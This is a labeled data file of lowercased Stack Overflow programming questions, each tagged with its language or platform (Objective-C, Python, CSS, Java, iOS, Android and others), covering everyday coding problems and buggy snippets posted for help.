error when replacing object in nsmutablearray  in my brain model i have an nsmutablearray property called  stockcars  which holds 8 custom  car  objects.    in my viewcontroller  i have an action set up that is triggered from 8 different uibuttons.    on the first click of one of the 8 buttons  i blank the car object that is at the same index of the button that is pressed (using sender tag).    so after one press  i still have 8 cars in stockcars array but one of them is a fresh alloc/inited (blank) one.    on the second press  i do the same thing and blank a second car from stockcars.    on the third press a few things happen.  first i blank the third car from the array.       then i do a bunch of other stuff...    then i call a class method to replace any blank cars in my stockcars array with a fresh random  car  object which puts me back to 8 cars in my array (no blanks).    then  i want to start the process over...  but for some reason it s giving an error on the 4th press.   here s my code... perhaps someone has an idea      in my viewcontroller button pressed action i m doing this...   <pre><code>- (ibaction) addbuttonpressed: (uibutton *)sender {  //my uibuttons have tags set 0-7 int sendertag = [sender tag];  [brain.stockingredients replaceobjectatindex:sendertag withobject:[brain getblankingredient]];  if (brain.currentselectedcarslot == 2) { ... [brain fillemptystock]; brain.currentselectedcarslot = 0; } else { brain.currentselectedcarslot++; } </code></pre>   here s my fillemptystock method from brain.m   <pre><code>- (void)fillemptystock  {  nsmutablearray *temparray = [self.stockcars mutablecopy];  for (car * car in self.stockcars) {    if (car.name == nil){          [temparray replaceobjectatindex:[self.stockcars indexofobject:car] withobject:[self getrandomcar]];     } }  [self.stockcars release];  self.stockcars = [nsmutablearray arraywitharray:temparray];  nslog(@ sizeof stockcars %i   [self.stockcars count]); [temparray release];    } </code></pre>   so yea  on the 4th press i get an error  but its one of those bad excess ones and it seems to be coming on the line      [brain.stockingredients replaceobjectatindex:sendertag withobject:[brain getblankingredient]];    perhaps when i replace an object in an array it gets a new index and then that index is no longer valid or something    i m a beginner  thanks.,objective-c
using arithmetic equations in python  is there a way to round the value down to the lowest integer for this    <pre><code>x = 5.5 z = 1  x -= z </code></pre>   x is just 4.5 in this case    but i want something like this   <pre><code>x = int(x - z) </code></pre>   which produces x as 4 but i would like to use the  -=     is there a way,python
last few queries list  i am using mysql community edition. i want to know how can i find last few queries fired on current instance of mysql  is there any command or query that lists out what were last 20 queries and their memory consumption  if there is no command  whether queries are logged anywhere     another thing i want to know is there any command that shows currently fired queries  something like top command on linux systems.,mysql
python: print all numbers in range divisible by x and y  i m trying to print all numbers in range 1-100 that are divisible by x and y (ie. 2 nad 3). for now i have   <pre><code>for x in range(0  101):     if x % (2 and 3) == 0: print( 2  3:    x)     elif x % 2 == 0: print( 2:    x)     elif x % 3 == 0: print( 3:    x) </code></pre>   but it is not accurate  any suggestions,python
multiple select in select query <pre><code>declare @l25 int = (select po_det_branch_cd  count(po_det_quant)                      from po_details where po_det_date =  2014-12-25                       and po_det_quant = 25 group by po_det_branch_cd); declare @l50 int = (select po_det_branch_cd  count(po_det_quant)                      from po_details where po_det_date =  2014-12-25                       and po_det_quant = 50 group by po_det_branch_cd); declare @l100 int = (select po_det_branch_cd  count(po_det_quant)                      from po_details where po_det_date =  2014-12-25                       and po_det_quant = 100 group by po_det_branch_cd); declare @l150 int = (select po_det_branch_cd  count(po_det_quant)                       from po_details where po_det_date =  2014-12-25                        and po_det_quant = 150 group by po_det_branch_cd);  select @l25  @l50  @l100  @l150 from po_details group by po_det_branch_cd </code></pre>,sql
reference native dll not to the root of project  to add native dll reference i have to add it to project as content and set copy to output to always or copy if newer. but the problem for me is that i have to add all native dlls to the root of project to make them copied to the output folder.     i want to create a folder nativereferences and put there all my native references. unfortunately in this case native dlls are copied not to output/ but to output/nativereferences/    is there any way to group native dlls and move them away from the project root,.net
nil can t be coerced into fixnum  adding a number to a image  i m trying to add a number to an image through a click action  but when i execute the action i get an    <blockquote>    nil can t be coerced into fixnum  </blockquote>   in   <pre><code>app/controllers/competitions_controller.rb:30:in `-  app/controllers/competitions_controller.rb:30:in `block in submit_vote  app/controllers/competitions_controller.rb:29:in `submit_vote  </code></pre>   the action    <pre><code>def submit_vote   total = (@competition.pictures.count + 1)   @competition.pictures.each do |picture|     picture.points = (picture.points + (total - picture.position))     picture.save!   end   redirect_to competition_path(@competition)  notice:  je hebt gestemd  end </code></pre>   i think i might have to do something with the fact that the value of points and position is  nill  when i do <code>picture.all</code> in the rails console.    i ve tried adding a default number to those values but it doesn t seem to help     <pre><code>class addpointstopictures &lt; activerecord::migration   def change     add_column :pictures  :points  default: 0  :integer   end end </code></pre>   it still says points  nill  instead of the expected  0  in the rails console.,ruby-on-rails
css grid systems offsets columns etc  i know probably most of you know all of these stuff but still maybe out there are people like me who are just starting to learn these stuff about grids in css. and maybe these questions will help them too.   <ol> <li>what are grid systems   </li> <li>how to calculate a grid system in pixels and percentages  </li> <li>what are offsets  how to calculate offsets  </li> <li>is it better to use a grid system  </li> </ol>,css
css 100% height for document not viewpoint  i m having trouble expanding a div to 100% of the doc height (rather than viewpoint height). i have a specific example which is causing issues.    an example can be found here  (jsfiddle s view window didnt allow me to demonstrate the problem correctly  sorry):    <a href= http://lavenderstone.co.uk/stackoverflow/  rel= nofollow noreferrer >http://lavenderstone.co.uk/stackoverflow/</a>    you will notice that if you reduce the viewpoint height below the content height (when scroll bars appear) that the left sidebar and content div s no longer expand to full doc height - they are only displaying the height of the viewpoint.    <img src= https://i.stack.imgur.com/dmhfi.png  alt= enter image description here >    i m new to responsive design using %  so please forgive me. i asked a similar question recently  but the proposes solution did not work for my progressed problem and i felt that a new thread would be more relevant than diverting the topic. thank you.,css
accessing bit fields in structure  i am new to the bit fields concept. i am trying to access the elements in the structure  but it is showing the error at <code>aa=v</code> like this.   <pre><code>error: incompatible types when assigning to type ‘cc’ from type ‘long unsigned int ’ </code></pre>   and it is showing error if i typecasted at <code>aa= (cc)v;</code>   <pre><code>error: conversion to non-scalar type requested </code></pre>   i tried accessing the elements by declaring a pointer to a structure. i did well in this case  but in this case i do not declare a pointer to a structure and i have to access the elements. how can i overcome this error.    thanks for any help in advance   <pre><code>#include&lt;stdio.h&gt; typedef struct  {         unsigned long a:8;     unsigned long b:8;     unsigned long c:8;     unsigned long d:8; }cc;   int main() {          cc aa ;     unsigned long v = 1458;     printf( %d\n  sizeof(aa));     aa=v;    // aa= (cc)v;     printf( %d %d %d %d\n   aa.a aa.b aa.c aa.d);      return 0; } </code></pre>,c
wrap div around image  i have a div around an image like this:   <pre><code>&lt;div class= q &gt;     &lt;img src= http://upload.wikimedia.org/wikipedia/commons/a/af/bonsai_img_6426.jpg  /&gt; &lt;/div&gt; </code></pre>   the result is that the div is bigger than the image. i would like to wrap it around the image giving it the same height and width (without setting dimension)    <pre><code>img {     z-index: -1;     position: relative;     width:300px; }  .q {     width:100%;     height:100%; box-shadow:inset 0px 0px 85px red; -webkit-box-shadow:inset 0px 0px 85px red; -moz-box-shadow:inset 0px 0px 85px red; } </code></pre>   i tried height and width  auto  but it also doesn t work.    <a href= http://jsfiddle.net/wpgsx/1/  rel= noreferrer >jsfiddle</a>,css
how to delete rows from a certain table in the following situation  see photo  <a href= https://i.stack.imgur.com/zrsd1.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zrsd1.jpg  alt= enter image description here ></a>    so  i need to delete the details of an artist where the gallery doesn t own any of their art anymore. how do i do that  can it be done with <code>join</code> or <code>inner join</code>  even though the two tables are not related directly. or should i add <code>artistname</code> as a foreign key to <code>borrowedobject</code> first,mysql
apple only have one distribution certificate  i have already submitted an iphone app. however  i need to do an ad hoc distribution for testing  so i revoke the distribution certificate and create and ad hoc distribution certificate. my questions is in order to submit the app  i need to revoke the ad hoc distribution again and create a new distribution certificate     this seems to be very troublesome as after i revoke the certificate  i need to recreate the provision files again. ios distribution portal just doesn t allow two distributions certificate to be exist. one for ad hoc and one for submitting to apple store.,iphone
linking to another page  using html    i want to use 2 checkbox  when i click the check box 1 then it will redirect to another page  when i click the check box 2 then it will redirect to another page.    how to make a code in html    need code help,html
uialertview without arc  how can i create a uialertview without using automatic reference counting in my app  the problem i am having is the [alert release]; part since release cannot be used in automatic reference counting.,ios
understanding primitive data types in javascript  in javascript  typeof null == “object” is true. but null instanceof object is false.  i was confused about this until i read in professional javascript for web developers that     <blockquote>    if instanceof is used with a primitive value  it will always return false  because primitives aren’t objects.  </blockquote>   why  if primitive data types aren t objects  will typeof null ==  object  be true,javascript
make css float columns align at top  <a href= http://jsfiddle.net/y88mq/1/  rel= nofollow >http://jsfiddle.net/y88mq/1/</a>    i have a simple layout with three containers: one  two  three. i am trying to get three to align at the top with one. right now one and two are floated left and three is floated right. i tried combinations of clearing but it didn t seem to work. i would like to get this to work with just css.   <pre><code>&lt;div class= left &gt;one&lt;/div&gt; &lt;div class= left &gt;two&lt;/div&gt; &lt;div class= right &gt;three&lt;/div&gt;  .left {     background: red;     width: 66%;     height: 200px;     margin-bottom: 10px;     float: left; }  .right {     background: green;     width: 33%;     float: right;     height: 200px; } </code></pre>   edit: i would like to keep the source order the same,css
video streaming from a camera over the internet  i want to write an application which streams a video content which is obtained from a camera (ip camera) over the internet. by reading some of the posts i have a doubt that only the built-in camera of iphone can be video streamed. can i access any other camera and capture images from it     precisely can i access other cameras on iphone and display live video,iphone
switch/case problem  if i try to create variable in case statement it gives me build erroe can anyone clue me in why this syntax gets me a build error ( expected expression before  nsmutablearray  ).,iphone
is there an easier way to truncate a string with php regex   i have a string that looks like the following:   <pre><code>security/flow_setup/steady_state/verification </code></pre>   i only need the first two levels (e.g. <strong>security/flow_setup</strong>) is there an easier way to get this.  currently i explode the string into an array using:  /  as a delimiter and then piece together elements 0 and 1.    this works but i was hoping for a more elegant solution.    any thoughts,php
c char** get result  i want to get result by <code>char **</code>  but the result is only one char  why  i don t want to use <code>return char *</code> to solve this question. who can tell me    <pre><code>void test() {     char a[] =  123 563 ;     char *result = (char *)malloc(5*sizeof(char));     addstringatob(a  &amp;result);     printf( \n result :----- %s \n   result); // result is not all  but one point   }  int addstringatob(char string[]  char **result) {     char* token = strtok( string     );     char *stringa;     if (token != null) {         stringa = token;         token = strtok( null     );     }     char *stringb;     if (token != null) {         stringb = token;     }      int lena = strlen(stringa);     int lenb = strlen(stringb);     int len = lena &lt; lenb   lena : lenb;      char resulttem[1000] = {};     for (int i=0; i&lt;len; i++) {         char a = stringa[i];         char b = stringb[i];         if (a &gt;= 0  &amp;&amp; a &lt;=  9  &amp;&amp; b &gt;= 0  &amp;&amp; b &lt;=  9 ) {             int c = (int)(a -  0 ) + (int)(b -  0 );             resulttem[i] = c +  0 ;         }         else {             *result =  error ;             return 0;         }     }      if (len == lena) {          for (int j=len; j&lt;lenb; j++) {             resulttem[j] = stringb[j];         }     }     else if (len == lenb) {          for (int j=len; j&lt;lena; j++) {             resulttem[j] = stringa[j];         }     }     **result = *resulttem;      return 0; } </code></pre>,c
riemann hypothesis prime number theorem  so i am working on the riemann hypothesis prime number theorem <br> now my loop is in the method <code>isprimenumber</code> and the loop is okay because i tested it on a separate class and it worked well.. <code>primes</code> is my text area. my problem here is that i wanted info appended in my text area once i enter any number in my field  but i want when i input 100  it gives me primes numbers from 1-99  but now its giving me numbers to 10 000 - all prime numbers. any help will be appreciated. everything is working well.. i tried debugging but couldn t locate the problem  still learning more on debugging.   <pre><code>public void run() {         int quantity = integer.parseint(field.gettext());         int primenumbers = 0;         int allnumbers = 2;         primes.append( this are the prime numbers in   + quantity +   riemann hypothesis  );         while(primenumbers&lt;quantity){             if(isprimenumber(allnumbers)){                 primes.append(allnumbers +    );                 primenumbers++;             }             allnumbers++;         } </code></pre>,java
java function analogous to c mktime()   i am porting some code from c into java. i have a line as follows in c:   <pre><code>time_t t0 = mktime(&amp;epochtime);  </code></pre>   where epochtime is defined as:   <pre><code>struct tm epochtime; </code></pre>   and <code>struct tm</code> is defined as:   <pre><code>struct tm {         int tm_sec;     /* seconds after the minute - [0 59] */         int tm_min;     /* minutes after the hour - [0 59] */         int tm_hour;    /* hours since midnight - [0 23] */         int tm_mday;    /* day of the month - [1 31] */         int tm_mon;     /* months since january - [0 11] */         int tm_year;    /* years since 1900 */         int tm_wday;    /* days since sunday - [0 6] */         int tm_yday;    /* days since january 1 - [0 365] */         int tm_isdst;   /* daylight savings time flag */         }; </code></pre>   the c library function <code>time_t mktime(struct tm *timeptr)</code> converts the structure pointed to by <code>timeptr</code> into a <code>time_t</code> value according to the local time zone.    in my java code  i can create static class variables along with setters/getters to represent the struct data. is there a library/technique in which i can achieve what the <code>mktime()</code> function is designed to do,java
what is the best way to send video between two ios devices   i would like people to be able to send short videos to each other in my app... what is the best way to do this     thanks!,ios
how to overlap a div s border on top of another one below it   i have an element that has a bottom border and it i would like to show it on top of an image  however  when i move the relevant div down (using negative bottom margin) the border goes under an image element that is underneath. is there a way to set it on top     i tried z-index but to no avail. and i have to have the  top  div have the border.   <pre><code>&lt;div class= top &gt;one&lt;/div&gt; &lt;div class= block &gt;&lt;img src= http://placekitten.com/200/300 &gt;&lt;/div&gt; .top {border-bottom:5px solid red; margin-bottom:-3px; z-index:5;} </code></pre>   <a href= http://jsfiddle.net/gdrwy/1/  rel= nofollow >http://jsfiddle.net/gdrwy/1/</a>    image hosted by placekitten and taken by: <a href= http://www.flickr.com/people/35652310@n00  rel= nofollow >pieter lanser</a>    thanks guys,css
stop scrollbar from fading on mac osx 10.7  i am running chrome 27 on mac osx 10.7 and i want the scrollbar to always appear on a div with <code>overflow: scroll;</code> but it keeps on fading away. how would i go about solving this,css
dealing with dynamic libraries loading  i have a jar  which contains all needed external libs. all i want: load libraries in runtime so i can use them as i could if they were in classpath.    some visualization:    <code>-main.jar</code><br> <code>-lib.jar</code><br> <code>--apache.jar</code><br> <code>--someother.jar</code><br> <code>---aclass.class</code><br> etc.    some not really helpful code:   <pre><code>    // loading libraries     classloader contextcl = thread.currentthread().getcontextclassloader();     arraylist&lt;url&gt; librariesjarsurl = new arraylist&lt;&gt;();     jarfile libjar = new jarfile(libbundle);     enumeration libjarenum = libjar.entries();     while (libjarenum.hasmoreelements()) {         jarentry libjarentry = (jarentry) libjarenum.nextelement();         if (!libjarentry.isdirectory() &amp;&amp; libjarentry.getname().endswith( .jar )) {             librariesjarsurl.add(new url( jar:file://  + (libbundle.getabsolutepath().replace( \\    / )) +  !/  + libjarentry.getname()));         }     }     if (librariesjarsurl.size() &gt; 0) {         for (url libraryjarurl : librariesjarsurl) {             system.out.println(libraryjarurl);         }         classloader urlcl = urlclassloader.newinstance(librariesjarsurl.toarray(new url[0])  contextcl);         thread.currentthread().setcontextclassloader(urlcl);     }     system.out.println(stringutils.difference( zero    zero141 )); </code></pre>   the last is from commons apache string utils that also should be included but aint giving me noclassdeffounderror and classnotfoundexception.    also  i tried to use  reflection hack  but it aint working as well.    thats the problem  guys... any ideas     edit: <code>libbundle is kinda file object...</code>    upd:   <pre><code>/*  * reflection hack :/  */ public static void addurl(url url) throws exception {     urlclassloader classloader = (urlclassloader) classloader.getsystemclassloader();     class uclclass = urlclassloader.class;      // use reflection     method method = uclclass.getdeclaredmethod( addurl   new class[]{url.class});     method.setaccessible(true);     method.invoke(classloader  new object[]{url}); } </code></pre>   used <code>libbundle.touri().tourl()</code> - same errors <br> <code>addurl(new url( jar:file://  + (libbundle.getabsolutepath().replace( \\    / )) +  !/ ));</code> - thats same <br> tried to do same with all jars in lib.jar - same.<br> tried <code>urlclassloader libraryloader = new urlclassloader(librariesjarsurl.toarray(new url[0])  globalinit.class.getclassloader());</code> - same.,java
seeking to learn ruby on rails - good online tutorials   i want to teach myself <a href= http://en.wikipedia.org/wiki/ruby_on_rails  rel= nofollow noreferrer >ruby on rails</a>. i am new to web development. i hate reading manuals and learn best by doing  rather than reading. i understand the basics of ruby on rails conventions and the idea behind it. but for me the best way to learn how to use stuff is to have a step-by-step guide walk me through stuff like setup  applications  etc.     what are particularly good things in this area  also  which installation package is the best for someone  totally new to ruby on rails (as in  i am learning still about sql and managing web servers).,ruby-on-rails
invalid or unexpected token running jquery to console  i try to do this with jquery:    i have an id with a specific class. when scrolling this class changes to another class. so  i need to check if this id has the specific class then to add class to another id.    this is what i tried directly through console of chrome but i get uncaught <code>syntaxerror: invalid or unexpected token</code>.   <pre><code>if (jquery(#header).hasclass( affix ) ) {   jquery(#logo).addclass( otherlogo ); } </code></pre>,jquery
i want to send a variable to xxx.php how i do it   i want to send a variable to xxx.php how i do it,php
html active attribute  buttons have a <code>disabled</code> attribute  which influences its native behaviour. is it html-syntaxically incorrect to set a <code>active</code> attribute    <pre><code>&lt;button active&gt;&lt;/button&gt; </code></pre>   for some reason  i d like not to use the <code>class</code> attribute.,html
fixing css on login page of my site  i have a problem on my site s login page in ie7 browser. one of the buttons on that page <a href= http://j-in.org.ua:9000  rel= nofollow noreferrer >http://j-in.org.ua:9000</a> is cut off  in ie browser    here s the screenshot: <a href= http://img.skitch.com/20090629-nxnr2pwcs529peqxsttt96fmtk.jpg  rel= nofollow noreferrer >http://img.skitch.com/20090629-nxnr2pwcs529peqxsttt96fmtk.jpg</a> please help me to fix it.,css
convert c exe into managed c library   i m curious to know if it is possible to create a managed c dll that c# can access by converting the project type within visual studio  would it make more sense to convert it to c++ first  is it as simple as changing property configurations within the project file or would it be much more cumbersome     cheers.,c
super simple c# if/else syntax semantics  i.e. a great example of why you should use braces  se     i m used to java syntax and have recently had to switch to c# at work. i m a little confused on why a one of the if/then/else statements i ve been writing haven t been working as expected  and was wondering if someone would be able to tell me a bit about the details of the syntax for why this isn t behaving as expected.    take:   <pre><code>if (salepredicate != null)     if (!salepredicate.invoke(s))         continue; else     _sales.add(s); </code></pre>   in this block  the <code>else</code> statement isn t reached when salepredicate is null. however    <pre><code>if (salepredicate != null) {     if (!salepredicate.invoke(s))         continue; } else     _sales.add(s); </code></pre>   will reach the <code>else</code> statement. why isn t the first statement valid     (p.s.  i know the following is an option)   <pre><code>if (salepredicate == null ||     salepredicate.invoke(s))     _sales.add(s); </code></pre>   <strong>update</strong>: statement 1 is really:   <pre><code>if (salepredicate != null)     if (!salepredicate.invoke(s))         continue;     else          _sales.add(s); </code></pre>   use braces  kiddos.,c#
deserialize a database table row straight into a c# object - is there a mechanism for this   i am new to c# and this may end up being a dumb question but i need to ask anyway.    is there a mechanism with c# to deserialize a result from an executed sql statement into a c# object     i have a c# program that reads a table from an sql server storing the row in an object - i am assigning each column value to an object member manually so i was wondering if there is a way to serialize the row automagically into an object. or even better  a whole table in a collection of objects of the same type.    my environment is c#  vs2010  .net4  sqlserver2008.  the assumption is that i know the columns i need  it s not a select * query.    a link to a neat example will also be appreciated.    thanks.,c#
leak checks by instruments  when i use intruments to check leak i get follow snapshot.who can help me explain it  thanks.<a href= https://i.stack.imgur.com/iuwho.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/iuwho.jpg  alt= enter image description here ></a>,ios
what does the (*) in (int (*)[30]) mean   what does <code>(int (*)[30])</code> mean in c  for instance  in:   <pre><code>int (*b)[30] = (int (*) [30]) malloc(30 * sizeof(int [20])); </code></pre>,c
changing views inside adapter  i have to display several separate mediaplayers. i ve chosen to use an arrayadapter within a listfragment  which constructs the views and handles the mediaplayers  to achieve this. unfortunately i can t find a way to update a corresponding seekbar and timestamp of the current mediaplayer from inside the adapter. i ve tried using a runnable inside the adapter as well as the post method of the parent view. nothing seemed to work. help would be greatly appreciated.    <strong>myadapter</strong>   <pre><code>public class musicplayeradapter extends arrayadapter&lt;song&gt; {     private final context context;     private final list&lt;song&gt; songs;     private mediaplayer mediaplayer = null;     private int resource;     private handler mediahandler;     private seekbar seekbar;     private textview timestamp;     private runnable run;     private boolean playernotprepared = true;       public musicplayeradapter(context context                                int resource                                list&lt;song&gt; songs) {         super(context  resource  songs);         this.context = context;         this.resource = resource;         this.songs = songs;          mediahandler = new handler();         run = new runnable() {             @override             public void run() {                 mediaupdate();             }         };     }      @override     public view getview(int position  view convertview  viewgroup parent) {         //return super.getview(position  convertview  parent);         song currentsong = songs.get(position);          layoutinflater inflater = (layoutinflater) context                 .getsystemservice(context.layout_inflater_service);          final uri songuri = uri.parse(currentsong.geturl());          mediaplayer = new mediaplayer();         mediaplayer.setaudiostreamtype(audiomanager.stream_music);          final view entry = inflater.inflate(resource  parent  false);          textview songtitle = (textview) entry.findviewbyid(r.id.song_title);         imagebutton playpausebutton                 = (imagebutton) entry.findviewbyid(r.id.play_pause_button);          seekbar = (seekbar) entry.findviewbyid(r.id.seekbar);         timestamp = (textview) entry.findviewbyid(r.id.timestamp);          songtitle.settext(currentsong.tostring());          playpausebutton.setonclicklistener(new view.onclicklistener() {             @override             public void onclick(final view v) {                 if (playernotprepared) {                      try {                         mediaplayer.setdatasource(context  songuri);                     } catch (ioexception e) {                         e.printstacktrace();                     }                      mediaplayer.prepareasync();                      mediaplayer.setonpreparedlistener(new mediaplayer                             .onpreparedlistener() {                           @override                         public void onprepared(mediaplayer mp) {                             playernotprepared = false;                             mp.start();                             seekbar.setmax(mp.getduration());                         }                     });                      mediaplayer.setwakemode(                             context  powermanager.partial_wake_lock);                 } else if (! mediaplayer.isplaying()) {                     mediaplayer.start();                 } else if (mediaplayer.isplaying()) {                     mediaplayer.pause();                 }             }         });          parent.post(run);         return entry;     }      private void mediaupdate() {         if (! playernotprepared) {             integer currentpos = mediaplayer.getcurrentposition();             seekbar.setprogress(currentpos);             timestamp.settext(currentpos.tostring());             notifydatasetchanged();         }         mediahandler.postdelayed(run  1000);     } } </code></pre>   everything is called from this listfragment <strong>listfragment</strong>   <pre><code>public class songfragment extends listfragment {     private rigdbaccess rig;     private rigband currentband;      public songfragment() {     }      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);          bundle bundle = this.getarguments();         string apikey = bundle.getstring( apikey );         rig = (rigdbaccess) bundle.getserializable( rig );         currentband = (rigband) bundle.getserializable( currentband );          setlistadapter(                 new musicplayeradapter(                         getactivity()                          r.layout.fragment_song                          currentband.getsongs()));     } } </code></pre>,android
two models with login  i m developing an app that at this moment has only one model with login  called reader.     but in the future  there will be another model called company that will require login as well.     so i m thinking what s the best way to develop it.     i thought that having a model called login with:   <ol> <li>email</li> <li>password </li> <li>models reader </li> <li>company inherit from it</li> </ol>   but i have no idea if it s the best way to do it.     <strong>i m not using any gem like devise.</strong>     i m developing my own login system.     so  what do you recommend      whats the best way     thanks so much!,ruby-on-rails
what s the difference between double exclamation operator and boolean() in javascript   i know that <code>!!variable</code> will convert variable into a boolean value and the function <code>boolean()</code>  according to the ecma262 spec  will also perform a type conversion by calling <code>toboolean(value)</code>.    my question is: what s the difference  is <code>!!</code> better in performance than boolean(),javascript
ngclick is not working on a div element  i ve been stuck at this for a while  this is my generated html:   <pre><code>&lt;div style= margin: 0 5px; border: 2px solid #ffffff; height:24px; &gt;    &lt;div id= activity-bar  class= padding0 margin0 ng-isolate-scope  style= width: 100%; background: rgb(179  179  179); position: relative; overflow: visible; height: 20px;  ng-style= thisstyle  display-sections= student.history_list  height= 20  loading= loading  type= 2  user-id= student.fic_student_id &gt;      &lt;div ng-click= console.info( working );  class= activity-section absolute-pos inline-block act-29464 task-background-3 ng-scope  style= left:0%; width:10%;height:20px;  tooltip-placement= top  tooltip-append-to-body= true  uib-tooltip= primarygames: free games and videos primarygames.com (click on the bar to view) start time: 09:40am &gt;&lt;/div&gt;     &lt;div ng-click= console.info( working );  class= activity-section absolute-pos inline-block act-54094 task-background-4 ng-scope  style= left:10%; width:10%;height:20px;  tooltip-placement= top  tooltip-append-to-body= true  uib-tooltip= writing0.sumdog.com writing0.sumdog.com (click on the bar to view) start time: 09:45am &gt;&lt;/div&gt;     &lt;div ng-click= console.info( working );  class= activity-section absolute-pos inline-block act-54094 task-background-4 ng-scope  style= left:20%; width:10.01%;height:20px;  tooltip-placement= top  tooltip-append-to-body= true  uib-tooltip= writing0.sumdog.com writing0.sumdog.com (click on the bar to view) start time: 09:50am &gt;&lt;/div&gt;     &lt;!-- some more divs --&gt;    &lt;/div&gt; &lt;/div&gt; </code></pre>   the tooltips are working but the ng-clicks are not  am i missing something,angularjs
default value bind to select box  i have got simple select box which should be set as default to state active(true) or blocked (false).    any ideas how to do it as simple as it is possible     <pre><code> &lt;select class= form-control  ng-model= selecteduser.active  &gt;       &lt;option value= true &gt;active&lt;/option&gt;       &lt;option value= false &gt;blocked&lt;/option&gt;     &lt;/select&gt; </code></pre>,angularjs
css change color of child span when parent is active  iam working in <code>jquery mobile</code>i have an footer like this:    <pre><code>&lt;div data-role= footer  data-position= fixed  data-id= footer  data-tap-toggle= false &gt;                  &lt;div class= footer  data-role= navbar &gt;               &lt;ul&gt;                 &lt;li&gt;                   &lt;a href= #dashboard  data-icon= dashboard  class= footer-icons  id= icon-dashboard &gt;                     &lt;span class= navbar-text &gt;dashboard&lt;/span&gt;                   &lt;/a&gt;                 &lt;/li&gt;                 &lt;li&gt;                   &lt;a href= #notifications  data-icon= progress  id= icon-progress  class= footer-icons &gt;                     &lt;span class= navbar-text &gt;voortgang&lt;/span&gt;                   &lt;/a&gt;                 &lt;/li&gt;                 &lt;li&gt;                   &lt;a href= #map  data-icon= security  id= icon-security  class= ui-btn-active footer-icons &gt;                     &lt;span class= navbar-text &gt;plattegrond&lt;/span&gt;                   &lt;/a&gt;                 &lt;/li&gt;                 &lt;li&gt;                   &lt;a href= #  data-icon= security  id= icon-security  class= footer-icons &gt;                     &lt;span class= navbar-text &gt;securitycheck&lt;/span&gt;                   &lt;/a&gt;                 &lt;/li&gt;               &lt;/ul&gt;                &lt;/div&gt;           &lt;/div&gt; </code></pre>   i want to change the color of <code>&lt;span class= navbar-text &gt;&lt;/span&gt;</code> when its parent is set to active i thought something like this:   <pre><code>.footer &gt; .ui-btn-active &gt; .navbar-text {     color: red!important; } </code></pre>   but this is not working maybe someon could help me out on this,css
detect whether apple pencil is connected to an ipad pro  is there an api that allows you to determine whether the apple pencil is connected to an ipad pro  looking over the 9.1 sdk i don t see anything that directly does this. or perhaps this can be done using the bluetooth api.,ios
execute method when user leaves and then starts application  i have a question about the android lifecycle. this is my <strong>oncreate</strong> method of my main application:    <pre><code>@override public void oncreate(bundle b) {     super.oncreate(b);     decode = new decode(this);      adjusttodimensions();     setloadingscreen( zorgdossier wordt geladen... );     initreceiver();     startcommunicationwithserver(); } </code></pre>   i set the screen to a loading screen  initialize a broadcastreceiver and send a message to the server.     now  when i press the home button and start my application again i always want to start this activity so i ve added    <pre><code>android:cleartaskonlaunch= true  </code></pre>   to the manifest.    but now i want the <strong>startcommunicationwithserver</strong>() to be executed when the user starts the application again. this method sends a message to the server  and the server on the other hand sends a message that i receive in the receiver.  with this message i decide which screen to show.    i ve tried to put it in the <strong>onrestart</strong> method:   <pre><code>    @override protected void onrestart() {     log.d( mainactivity    activity restarted );     startcommunicationwithserver();     super.onrestart(); } </code></pre>   but this activity is shown multiple times troughout the application  so the onrestart method is executed each time. but i only need the <strong>startcommunicationwithserver</strong>() to be executed at the start of the application.    so long story short  how can i call the <strong>startcommunicationwithserver</strong>() method when the user exits and subsequently starts my application,android
how to add summery comment as soon as a method is created  how can i add  comment as soon as i create a method     i know that when we create a method and when we type  ///  then this comment will get appear.    instead  comment should get added automatically when i hit  }  to complete a method.    is there any way to do that  please let me know.,asp.net
create similar view like app store messages view  how to create a view similar to that of applications in messages      <a href= https://i.stack.imgur.com/nxaor.png  rel= nofollow noreferrer >view from the messages apps</a>,ios
eventlistener( click ) on document prevents other ( click ) from working  i want to close a search menu (containing numerous elements) by clicking outside of it. for this i made a (onclick) function to open/close it with a link (which works) and a (onclick) function to detect clics outside of it  and close it. problem is  my 1st function works on its own  but when i put the second one  nothing works. that s what i ve got so far:   <pre><code>document.getelementbyid( link ).addeventlistener( click   function(e) {             menuframe = document.getelementsbyclassname( searchframe )[0];             e.preventdefault(); // on bloque l action par défaut de cet événement             if (!menuframe.classlist.contains( displayed )) {                 menuframe.classlist.add( displayed );             } else {                 menuframe.classlist.remove( displayed );                 link.blur(); }         }  false);          document.getelementbyid( all ).addeventlistener( click   function (e) {             var x = document.getelementbyid.e.target.id                  menuframe = document.getelementsbyclassname( searchframe )[0];             if (menuframe.classlist.contains( displayed ) &amp;&amp; !menuframe.contains(x))                 menuframe.classlist.remove( displayed ); }         }  false); </code></pre>   i assumed it had something to do with event bubbling/capture  tried to mess with true/false and e.stoppropagation(); without success. or maybe my code is bad  i m a newbie in js. i tried googling everything i could think of  and tried various  fixes  i found  without success.     to sum-up  how do i actually close a div when clicking outside  (without jquery if possible  i do not know the syntax at all)    edit: added  {  after  if  on line 14 and changed line 12 by   var x = document.getelementbyid(e.target.id)   as jameel suggested. now the e.preventdefault works on the 1st function  but that s still it.,javascript
application to download data from one database to another  i m planning to write a .net windows forms application to download data from one database to another on scheduled time.  so i need select one from these two options   <ol> <li>create a windows form with a timer control and handle starting of download process through the code and keep application running forever on the server.</li> <li>create a windows form and run downloading method on form load and use windows scheduler to start the program at a given time and exit the program when download is completed.</li> </ol>   what do i have to consider selecting between above approaches and what are the advantages/disadvantages      <strong>note:</strong> downloading is done from multiple tables (like item  supplier) so there may be a requiremet to stop one or few table syncing so i guess this needs a ui.,.net
getting black keys in ios keyboard  some users of our app are reporting that sometimes they are seeing black letters in their ios keyboard while using our app.     see screenshot below:     <a href= https://i.stack.imgur.com/wmmjc.png  rel= noreferrer ><img src= https://i.stack.imgur.com/wmmjc.png  alt= screenshot of ios keyboard showing black letters ></a>    has anyone seen this problem before  i am not able to reproduce it.,ios
